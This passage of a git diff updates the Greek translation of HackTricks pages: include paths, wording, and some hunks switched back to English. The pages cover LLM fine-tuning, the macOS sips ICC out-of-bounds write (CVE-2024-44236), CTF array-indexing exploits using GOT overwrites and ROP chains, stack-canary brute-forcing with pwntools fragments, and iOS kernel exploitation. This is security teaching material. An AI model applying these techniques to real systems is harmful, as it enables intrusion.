πραγματικά προβλεπόμενος) προκειμένου το μοντέλο να κατανοήσει καλύτερα τη γλώσσα. -Σε αυτή την περίπτωση, μας ενδιαφέρει μόνο το μοντέλο να είναι ικανό να προβλέψει αν το μοντέλο είναι spam ή όχι, οπότε μας ενδιαφέρει μόνο ο τελευταίος τόνος που προβλέπεται. Επομένως, είναι απαραίτητο να τροποποιήσουμε τις προηγούμενες συναρτήσεις απώλειας εκπαίδευσης μας ώστε να λαμβάνουν υπόψη μόνο αυτόν τον τόνο. +Σε αυτή την περίπτωση, μας ενδιαφέρει μόνο το μοντέλο να είναι ικανό να προβλέψει αν το μοντέλο είναι spam ή όχι, οπότε μας ενδιαφέρει μόνο ο τελευταίος τόνος που προβλέπεται. Επομένως, είναι απαραίτητο να τροποποιήσουμε τις προηγούμενες συναρτήσεις απώλειας εκπαίδευσης ώστε να λαμβάνουν υπόψη μόνο αυτόν τον τόνο. Αυτό υλοποιείται στο [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) ως: ```python @@ -101,7 +101,7 @@ logits = model(input_batch)[:, -1, :] # Logits of last output token loss = torch.nn.functional.cross_entropy(logits, target_batch) return loss ``` -Σημειώστε ότι για κάθε παρτίδα μας ενδιαφέρει μόνο οι **logits του τελευταίου προβλεπόμενου token**. +Σημειώστε ότι για κάθε παρτίδα μας ενδιαφέρει μόνο οι **logits του τελευταίου token που προβλέπεται**. ## Πλήρης κώδικας ταξινόμησης fine-tune GPT2 @@ -111,4 +111,4 @@ return loss - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md index 8c44afd9d..a54a69059 100644 --- a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md +++ b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md @@ -1,6 +1,6 @@ # 7.2. Ρύθμιση για να ακολουθεί οδηγίες -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} > [!TIP] > Ο στόχος αυτής της ενότητας είναι να δείξει πώς να **ρυθμίσουμε ένα ήδη προεκπαιδευμένο μοντέλο για να ακολουθεί οδηγίες** αντί να παράγει απλώς κείμενο, για παράδειγμα, απαντώντας σε εργασίες ως chatbot. @@ -21,7 +21,7 @@ The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging \( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units. ``` -- Παράδειγμα Στυλ Prompt Phi-3: +- Παράδειγμα Στυλ Προτροπής Phi-3: ```vbnet <|User|> Can you explain what gravity is in simple terms? @@ -51,11 +51,11 @@ desired_response = f"\n\n### Response:\n{data[50]['output']}" print(model_input + desired_response) ``` -Τότε, όπως πάντα, είναι απαραίτητο να διαχωρίσουμε το σύνολο δεδομένων σε σύνολα για εκπαίδευση, επικύρωση και δοκιμή. +Then, as always, it's needed to separate the dataset in sets for training, validation and testing. ## Batching & Data Loaders -Τότε, είναι απαραίτητο να ομαδοποιήσουμε όλες τις εισόδους και τις αναμενόμενες εξόδους για την εκπαίδευση. Για αυτό, είναι απαραίτητο να: +Then, it's needed to batch all the inputs and expected outputs for the training. For this, it's needed to: - Tokenize the texts - Pad all the samples to the same length (usually the length will be as big as the context length used to pre-train the LLM) @@ -63,21 +63,21 @@ print(model_input + desired_response) - Replace some padding tokens with -100 to exclude them from the training loss: After the first `endoftext` token, substitute all the other `endoftext` tokens by -100 (because using `cross_entropy(...,ignore_index=-100)` means that it'll ignore targets with -100) - \[Optional] Mask using -100 also all the tokens belonging to the question so the LLM learns only how to generate the answer. In the Apply Alpaca style this will mean to mask everything until `### Response:` -Με αυτό δημιουργημένο, είναι ώρα να δημιουργήσουμε τους φορτωτές δεδομένων για κάθε σύνολο δεδομένων (εκπαίδευση, επικύρωση και δοκιμή). +With this created, it's time to crate the data loaders for each dataset (training, validation and test). ## Load pre-trained LLM & Fine tune & Loss Checking -Είναι απαραίτητο να φορτώσουμε ένα προεκπαιδευμένο LLM για να το βελτιώσουμε. Αυτό έχει ήδη συζητηθεί σε άλλες σελίδες. Τότε, είναι δυνατό να χρησιμοποιήσουμε τη λειτουργία εκπαίδευσης που χρησιμοποιήθηκε προηγουμένως για να βελτιώσουμε το LLM. +It's needed to load a pre-trained LLM to fine tune it. This was already discussed in other pages. Then, it's possible to use the previously used training function to fine tune the LLM. -Κατά τη διάρκεια της εκπαίδευσης είναι επίσης δυνατό να δούμε πώς η απώλεια εκπαίδευσης και η απώλεια επικύρωσης ποικίλλουν κατά τη διάρκεια των εποχών για να δούμε αν η απώλεια μειώνεται και αν συμβαίνει υπερβολική προσαρμογή.\ -Θυμηθείτε ότι η υπερβολική προσαρμογή συμβαίνει όταν η απώλεια εκπαίδευσης μειώνεται αλλά η απώλεια επικύρωσης δεν μειώνεται ή ακόμη και αυξάνεται. Για να το αποφύγουμε, το πιο απλό πράγμα που πρέπει να κάνουμε είναι να σταματήσουμε την εκπαίδευση στην εποχή όπου αυτή η συμπεριφορά αρχίζει. +During the training it's also possible to see how the training loss and validation loss varies during the epochs to see if the loss is getting reduced and if overfitting is ocurring.\ +Remember that overfitting occurs when the training loss is getting reduced but the validation loss is not being reduced or even increasing. To avoid this, the simplest thing to do is to stop the training at the epoch where this behaviour start. ## Response Quality -Καθώς αυτό δεν είναι μια εκπαίδευση ταξινόμησης όπου είναι δυνατό να εμπιστευτούμε περισσότερο τις μεταβολές της απώλειας, είναι επίσης σημαντικό να ελέγξουμε την ποιότητα των απαντήσεων στο σύνολο δοκιμών. Επομένως, συνιστάται να συγκεντρώσουμε τις παραγόμενες απαντήσεις από όλα τα σύνολα δοκιμών και **να ελέγξουμε την ποιότητά τους χειροκίνητα** για να δούμε αν υπάρχουν λανθασμένες απαντήσεις (σημειώστε ότι είναι δυνατό για το LLM να δημιουργήσει σωστά τη μορφή και τη σύνταξη της πρότασης απάντησης αλλά να δώσει μια εντελώς λανθασμένη απάντηση. Η μεταβολή της απώλειας δεν θα αντικατοπτρίζει αυτή τη συμπεριφορά).\ -Σημειώστε ότι είναι επίσης δυνατό να πραγματοποιήσουμε αυτή την ανασκόπηση περνώντας τις παραγόμενες απαντήσεις και τις αναμενόμενες απαντήσεις σε **άλλα LLMs και να τους ζητήσουμε να αξιολογήσουν τις απαντήσεις**. +As this is not a classification fine-tune were it's possible to trust more the loss variations, it's also important to check the quality of the responses in the testing set. Therefore, it's recommended to gather the generated responses from all the testing sets and **check their quality manually** to see if there are wrong answers (note that it's possible for the LLM to create correctly the format and syntax of the response sentence but gives a completely wrong response. The loss variation won't reflect this behaviour).\ +Note that it's also possible to perform this review by passing the generated responses and the expected responses to **other LLMs and ask them to evaluate the responses**. -Άλλες δοκιμές που πρέπει να εκτελούνται για να επαληθεύσουν την ποιότητα των απαντήσεων: +Other test to run to verify the quality of the responses: 1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU evaluates a model's knowledge and problem-solving abilities across 57 subjects, including humanities, sciences, and more. It uses multiple-choice questions to assess understanding at various difficulty levels, from elementary to advanced professional. 2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): This platform allows users to compare responses from different chatbots side by side. Users input a prompt, and multiple chatbots generate responses that can be directly compared. @@ -91,7 +91,7 @@ print(model_input + desired_response) 10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD consists of questions about Wikipedia articles, where models must comprehend the text to answer accurately. 11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** A large-scale dataset of trivia questions and answers, along with evidence documents. -και πολλά πολλά άλλα +and many many more ## Follow instructions fine-tuning code @@ -101,4 +101,4 @@ You can find an example of the code to perform this fine tuning in [https://gith - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md index 61cfcbc62..5cc5e1a25 100644 --- a/src/AI/AI-llm-architecture/README.md +++ b/src/AI/AI-llm-architecture/README.md @@ -1,8 +1,8 @@ # LLM Training - Data Preparation -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} -**Αυτές είναι οι σημειώσεις μου από το πολύ προτεινόμενο βιβλίο** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **με κάποιες επιπλέον πληροφορίες.** +**Αυτές είναι οι σημειώσεις μου από το πολύ συνιστώμενο βιβλίο** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **με κάποιες επιπλέον πληροφορίες.** ## Basic Information @@ -36,7 +36,7 @@ > Ο στόχος αυτής της τρίτης φάσης είναι πολύ απλός: **Αναθέστε σε κάθε από τα προηγούμενα tokens στο λεξιλόγιο έναν διανύσμα των επιθυμητών διαστάσεων για να εκπαιδεύσετε το μοντέλο.** Κάθε λέξη στο λεξιλόγιο θα είναι ένα σημείο σε έναν χώρο X διαστάσεων.\ > Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς "τυχαία" και αυτές οι θέσεις είναι εκπαιδεύσιμες παράμετροι (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης). > -> Επιπλέον, κατά τη διάρκεια της ενσωμάτωσης tokens **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) την **απόλυτη θέση της λέξης στην προτασή εκπαίδευσης**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα). +> Επιπλέον, κατά τη διάρκεια της ενσωμάτωσης tokens **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτεινόμενη πρόταση εκπαίδευσης**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα). {{#ref}} 3.-token-embeddings.md @@ -45,7 +45,7 @@ ## 4. Attention Mechanisms > [!TIP] -> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε κάποιους μηχανισμούς προσοχής**. Αυτοί θα είναι πολλά **επανειλημμένα επίπεδα** που θα **καταγράφουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\ +> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε κάποιους μηχανισμούς προσοχής**. Αυτοί θα είναι πολλαπλά **επανειλημμένα επίπεδα** που θα **καταγράφουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\ > Χρησιμοποιούνται πολλά επίπεδα γι' αυτό, οπότε πολλές εκπαιδεύσιμες παράμετροι θα καταγράφουν αυτές τις πληροφορίες. {{#ref}} @@ -99,4 +99,4 @@ 7.2.-fine-tuning-to-follow-instructions.md {{#endref}} -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 11f28b2aa..37a69920c 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1,3 +1,3 @@ # Arbitrary Write 2 Exec -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index 156dafc3f..1ff0a609b 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -4,11 +4,11 @@ ## Επισκόπηση -Μια ευπάθεια εκτός ορίων εγγραφής στο Apple macOS Scriptable Image Processing System (`sips`) ICC profile parser (macOS 15.0.1, sips-307) λόγω ακατάλληλης επικύρωσης του πεδίου `offsetToCLUT` στα tags `lutAToBType` (`mAB `) και `lutBToAType` (`mBA `). Ένα κατασκευασμένο αρχείο ICC μπορεί να προκαλέσει μηδενικές εγγραφές έως 16 bytes πέρα από το heap buffer, διαφθείροντας τα μεταδεδομένα του heap ή τους δείκτες συναρτήσεων και επιτρέποντας την εκτέλεση αυθαίρετου κώδικα (CVE-2024-44236). +Μια ευπάθεια εγγραφής εκτός ορίων στο Apple macOS Scriptable Image Processing System (`sips`) ICC profile parser (macOS 15.0.1, sips-307) λόγω ακατάλληλης επικύρωσης του πεδίου `offsetToCLUT` στα tags `lutAToBType` (`mAB `) και `lutBToAType` (`mBA `). Ένα κατασκευασμένο αρχείο ICC μπορεί να προκαλέσει μηδενικές εγγραφές έως 16 byte πέρα από το buffer της heap, διαφθείροντας τα μεταδεδομένα της heap ή τους δείκτες συναρτήσεων και επιτρέποντας την εκτέλεση αυθαίρετου κώδικα (CVE-2024-44236). ## Ευάλωτος Κώδικας -Η ευάλωτη συνάρτηση διαβάζει και μηδενίζει 16 bytes ξεκινώντας από μια θέση που ελέγχεται από τον επιτιθέμενο χωρίς να διασφαλίζει ότι βρίσκεται εντός του κατανεμημένου buffer: +Η ευάλωτη συνάρτηση διαβάζει και μηδενίζει 16 byte ξεκινώντας από μια θέση που ελέγχεται από τον επιτιθέμενο χωρίς να διασφαλίζει ότι βρίσκεται εντός του εκχωρημένου buffer: ```c // Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1) for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) { @@ -47,7 +47,7 @@ sips --verifyColor malicious.icc - ZDI blog: CVE-2024-44236: Ευπάθεια Εκτέλεσης Κώδικα από Απόσταση στο Εργαλείο sips της Apple macOS https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos -- Ενημέρωση Ασφαλείας Apple Οκτωβρίου 2024 (patch που αποστέλλει το CVE-2024-44236) +- Ενημέρωση Ασφαλείας Apple Οκτώβριος 2024 (patch που αποστέλλει CVE-2024-44236) https://support.apple.com/en-us/121564 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md index bbf0fb575..65207e285 100644 --- a/src/binary-exploitation/array-indexing.md +++ b/src/binary-exploitation/array-indexing.md @@ -4,17 +4,17 @@ ## Basic Information -Αυτή η κατηγορία περιλαμβάνει όλες τις ευπάθειες που προκύπτουν επειδή είναι δυνατό να επαναγραφούν ορισμένα δεδομένα μέσω σφαλμάτων στη διαχείριση των δεικτών σε πίνακες. Είναι μια πολύ ευρεία κατηγορία χωρίς συγκεκριμένη μεθοδολογία, καθώς ο μηχανισμός εκμετάλλευσης εξαρτάται εντελώς από τις συνθήκες της ευπάθειας. +Αυτή η κατηγορία περιλαμβάνει όλες τις ευπάθειες που προκύπτουν επειδή είναι δυνατόν να επαναγραφούν ορισμένα δεδομένα μέσω σφαλμάτων στη διαχείριση των δεικτών σε πίνακες. Είναι μια πολύ ευρεία κατηγορία χωρίς συγκεκριμένη μεθοδολογία, καθώς ο μηχανισμός εκμετάλλευσης εξαρτάται εντελώς από τις συνθήκες της ευπάθειας. Ωστόσο, μπορείτε να βρείτε μερικά ωραία **παραδείγματα**: - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) -- Υπάρχουν **2 συγκρουόμενοι πίνακες**, ένας για **διευθύνσεις** όπου αποθηκεύονται τα δεδομένα και ένας με τα **μεγέθη** αυτών των δεδομένων. Είναι δυνατό να επαναγραφεί ο ένας από τον άλλο, επιτρέποντας την εγγραφή μιας αυθαίρετης διεύθυνσης υποδεικνύοντας την ως μέγεθος. Αυτό επιτρέπει την εγγραφή της διεύθυνσης της συνάρτησης `free` στον πίνακα GOT και στη συνέχεια την επαναγραφή της με τη διεύθυνση της `system`, και την κλήση της free από μια μνήμη με `/bin/sh`. +- Υπάρχουν **2 συγκρουόμενοι πίνακες**, ένας για **διευθύνσεις** όπου αποθηκεύονται τα δεδομένα και ένας με τα **μεγέθη** αυτών των δεδομένων. Είναι δυνατόν να επαναγραφεί ο ένας από τον άλλο, επιτρέποντας την εγγραφή μιας αυθαίρετης διεύθυνσης υποδεικνύοντας την ως μέγεθος. Αυτό επιτρέπει την εγγραφή της διεύθυνσης της συνάρτησης `free` στον πίνακα GOT και στη συνέχεια την επαναγραφή της με τη διεύθυνση της `system`, και την κλήση της free από μια μνήμη με `/bin/sh`. - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) - 64 bits, no nx. Επαναγράψτε ένα μέγεθος για να αποκτήσετε μια μορφή buffer overflow όπου όλα θα χρησιμοποιηθούν ως διπλός αριθμός και θα ταξινομηθούν από το μικρότερο στο μεγαλύτερο, οπότε είναι απαραίτητο να δημιουργηθεί ένα shellcode που να πληροί αυτή την απαίτηση, λαμβάνοντας υπόψη ότι το canary δεν πρέπει να μετακινηθεί από τη θέση του και τελικά να επαναγράψει το RIP με μια διεύθυνση για ret, που να πληροί τις προηγούμενες απαιτήσεις και να τοποθετήσει τη μεγαλύτερη διεύθυνση σε μια νέα διεύθυνση που δείχνει στην αρχή της στοίβας (που διαρρέει από το πρόγραμμα) ώστε να είναι δυνατή η χρήση του ret για να πηδήξει εκεί. - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) -- 64bits, no relro, canary, nx, no pie. Υπάρχει ένα off-by-one σε έναν πίνακα στη στοίβα που επιτρέπει τον έλεγχο ενός δείκτη παρέχοντας WWW (γράφει το άθροισμα όλων των αριθμών του πίνακα στη διεύθυνση που έχει επαναγραφεί από το off-by-one στον πίνακα). Η στοίβα ελέγχεται ώστε η διεύθυνση GOT `exit` να επαναγραφεί με `pop rdi; ret`, και στη στοίβα προστίθεται η διεύθυνση της `main` (επιστρέφοντας στην `main`). Στη συνέχεια, χρησιμοποιείται μια αλυσίδα ROP για να διαρρεύσει τη διεύθυνση του put στον GOT χρησιμοποιώντας puts (`exit` θα κληθεί, οπότε θα καλέσει `pop rdi; ret`, εκτελώντας έτσι αυτή την αλυσίδα στη στοίβα). Τέλος, χρησιμοποιείται μια νέα αλυσίδα ROP που εκτελεί το ret2lib. +- 64bits, no relro, canary, nx, no pie. Υπάρχει ένα off-by-one σε έναν πίνακα στη στοίβα που επιτρέπει τον έλεγχο ενός δείκτη παρέχοντας WWW (γράφει το άθροισμα όλων των αριθμών του πίνακα στη διεύθυνση που έχει επαναγραφεί από το off-by-one στον πίνακα). Η στοίβα ελέγχεται ώστε η διεύθυνση GOT `exit` να επαναγραφεί με `pop rdi; ret`, και στη στοίβα προστίθεται η διεύθυνση της `main` (επιστρέφοντας στην `main`). Χρησιμοποιείται μια αλυσίδα ROP για να διαρρεύσει τη διεύθυνση του put στον GOT χρησιμοποιώντας puts (`exit` θα κληθεί, οπότε θα καλέσει `pop rdi; ret`, εκτελώντας έτσι αυτή την αλυσίδα στη στοίβα). Τέλος, χρησιμοποιείται μια νέα αλυσίδα ROP που εκτελεί το ret2lib. - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - 32 bit, no relro, no canary, nx, pie. Καταχρήστε μια κακή ευρετηρίαση για να διαρρεύσετε διευθύνσεις της libc και της heap από τη στοίβα. Καταχρήστε το buffer overflow για να κάνετε ένα ret2lib καλώντας `system('/bin/sh')` (η διεύθυνση της heap είναι απαραίτητη για να παρακαμφθεί ένας έλεγχος). -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index bfcb67b00..9052c0b52 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -7,14 +7,14 @@ ![](<../../../images/image (865).png>) > [!TIP] -> Σημειώστε ότι **`checksec`** μπορεί να μην εντοπίσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει μεταγλωττιστεί στατικά και δεν είναι ικανό να εντοπίσει τη λειτουργία.\ -> Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν διαπιστώσετε ότι μια τιμή αποθηκεύεται στο στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο. +> Σημειώστε ότι **`checksec`** μπορεί να μην αναγνωρίσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει μεταγλωττιστεί στατικά και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\ +> Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν βρείτε ότι μια τιμή αποθηκεύεται στο στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο. ## Brute force Canary -Ο καλύτερος τρόπος για να παρακάμψετε ένα απλό canary είναι αν το δυαδικό αρχείο είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που καθορίζετε μια νέα σύνδεση** με αυτό (υπηρεσία δικτύου), επειδή κάθε φορά που συνδέεστε σε αυτό **το ίδιο canary θα χρησιμοποιείται**. +Ο καλύτερος τρόπος για να παρακάμψετε ένα απλό canary είναι αν το δυαδικό αρχείο είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που δημιουργείτε μια νέα σύνδεση** με αυτό (υπηρεσία δικτύου), γιατί κάθε φορά που συνδέεστε σε αυτό **θα χρησιμοποιείται το ίδιο canary**. -Έτσι, ο καλύτερος τρόπος για να παρακάμψετε το canary είναι απλώς να **το παρακάμψετε με brute-force χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε αν το μαντεμένο byte του canary ήταν σωστό ελέγχοντας αν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει τη κανονική του ροή. Σε αυτό το παράδειγμα η λειτουργία **παρακάμπτει ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστά μαντεμένου byte και ενός κακού byte απλώς **ελέγχοντας** αν μια **απάντηση** επιστρέφεται από τον διακομιστή (ένας άλλος τρόπος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**): +Έτσι, ο καλύτερος τρόπος για να παρακάμψετε το canary είναι απλά να **το παρακάμψετε με brute-force χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε αν το μαντεμένο byte του canary ήταν σωστό ελέγχοντας αν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει τη κανονική του ροή. Σε αυτό το παράδειγμα η λειτουργία **παρακάμπτει ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστά μαντεμένου byte και ενός κακού byte απλά **ελέγχοντας** αν μια **απάντηση** επιστρέφεται από τον διακομιστή (ένας άλλος τρόπος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**): ### Example 1 @@ -59,8 +59,8 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` ### Παράδειγμα 2 -Αυτό έχει υλοποιηθεί για 32 bits, αλλά αυτό θα μπορούσε να αλλάξει εύκολα σε 64 bits.\ -Επίσης σημειώστε ότι για αυτό το παράδειγμα το **πρόγραμμα αναμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου** και το payload. +This is implemented for 32 bits, but this could be easily changed to 64bits.\ +Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. ```python from pwn import * @@ -101,19 +101,19 @@ target = process('./feedme') canary = breakCanary() log.info(f"The canary is: {canary}") ``` -## Νήματα +## Threads -Τα νήματα της ίδιας διαδικασίας θα **μοιράζονται το ίδιο καναρί** token, επομένως θα είναι δυνατό να **brute-force** ένα καναρί αν το δυαδικό δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση. +Οι νήματα της ίδιας διαδικασίας θα **μοιράζονται το ίδιο canary token**, επομένως θα είναι δυνατό να **brute-forc**e ένα canary αν το δυαδικό δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση. -Επιπλέον, μια **υπερχείλιση buffer σε μια θηλειώδη συνάρτηση** που προστατεύεται με καναρί θα μπορούσε να χρησιμοποιηθεί για **να τροποποιήσει το κύριο καναρί που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσουμε στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το καναρί) μέσω μιας **bof στη στοίβα** ενός νήματος.\ -Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο καναρί που είναι τα ίδια (αν και τροποποιημένα).\ +Επιπλέον, μια **υπερχείλιση buffer σε μια θηλυκή συνάρτηση** που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για να **τροποποιήσει το κύριο canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσουμε στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω μιας **bof στο stack** ενός νήματος.\ +Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\ Αυτή η επίθεση εκτελείται στην αναφορά: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Δείτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται μια **στοίβα** **νήματος** δημιουργείται επίσης από `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά. +Δείτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται ένα **stack** ενός **νήματος** δημιουργείται επίσης από `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά. -## Άλλα παραδείγματα & αναφορές +## Other examples & references - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. -{{#include /banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index 59037571d..873e91e75 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -1,57 +1,57 @@ # iOS Exploiting -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} ## Physical use-after-free -Αυτή είναι μια περίληψη από την ανάρτηση από [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) επιπλέον περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +Αυτό είναι μια περίληψη από την ανάρτηση από [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) επιπλέον περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Memory management in XNU -Ο **χώρος διευθύνσεων εικονικής μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο **kernel** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**. +Ο **εικονικός χώρος διευθύνσεων μνήμης** για τις 